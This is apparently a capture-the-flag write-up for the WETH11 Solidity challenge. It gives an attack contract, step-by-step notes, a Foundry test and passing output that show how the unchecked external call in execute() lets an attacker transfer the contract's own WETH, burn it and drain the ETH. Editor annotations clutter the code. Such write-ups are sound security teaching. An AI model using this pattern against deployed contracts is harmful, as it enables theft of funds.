WETH11

Submitted by Sidarth S

Vulnerability

- Here the **WETH11.sol** can be exploited by using the external call done in **execute()**

Steps to Exploit

Attack Process

```
// Attack The Angel Di Maria Wrapped Ether
UnitTest stub | dependencies | uml | draw.io
contract AttackWETH11{

    address weth11;
    address bob;
    ftrace
    constructor(address _weth11⬆){
        weth11 = _weth11⬆;
        bob = msg.sender;
    }

    ftrace | funcSig
    function attack() external payable{

        // transfer tokens to this contract
        IWETH11(weth11).execute(weth11, 0, abi.encodeWithSignature("transfer(address,uint256)",address(this),10 ether));

        // Burn all tokens
        IWETH11(weth11).withdrawAll();

    }

    // Eth received from Burning Tokens transferred to Bob
    ftrace
    receive() external payable {
        payable(bob).transfer(msg.value);
    }

}
```

- First, we deploy AttackWETH11 contract with address of the weth11 contract as argument.
- **attack()** in the AttackWETH11 contract is executed.
- the attack() calls the execute() in WETH11 contract, which in turn calls the transfer() in WETH11 contract.
- Thus transferring all the tokens owned by WETH11 to AttackWETH11 contract.
- Now that we have the tokens, we burn all the tokens to get eth.
- The receive() function on receiving ether, transfers to bob.

TestCase

```
ftrace | funcSig
function testHack() public {
    assertEq(
        weth.balanceOf(address(weth)),
        10 ether,
        "weth contract should have 10 ether"
    );

    vm.startPrank(bob);

    // hack time!
    //---------------------
    AttackWETH11 attackWETH = new AttackWETH11(address(weth));
    attackWETH.attack();
    //---------------------

    vm.stopPrank();

    assertEq(address(weth).balance, 0, "empty weth contract");
    assertEq(
        weth.balanceOf(address(weth)),
        0,
        "empty weth on weth contract"
    );

    assertEq(
        bob.balance,
        10 ether,
        "player should recover initial 10 ethers"
    );
}
```

Result

```
[⠒] Compiling...
No files changed, compilation skipped

Running 1 test for test/WETH11.t.sol:Weth11Test
[PASS] testHack() (gas: 226214)
Test result: ok. 1 passed; 0 failed; finished in 5.23ms
```

Conclusion:

Thus the goal of

- Bob receive back 10 ether is achieved
- empty weth contract is achieved
- empty weth on weth contract is done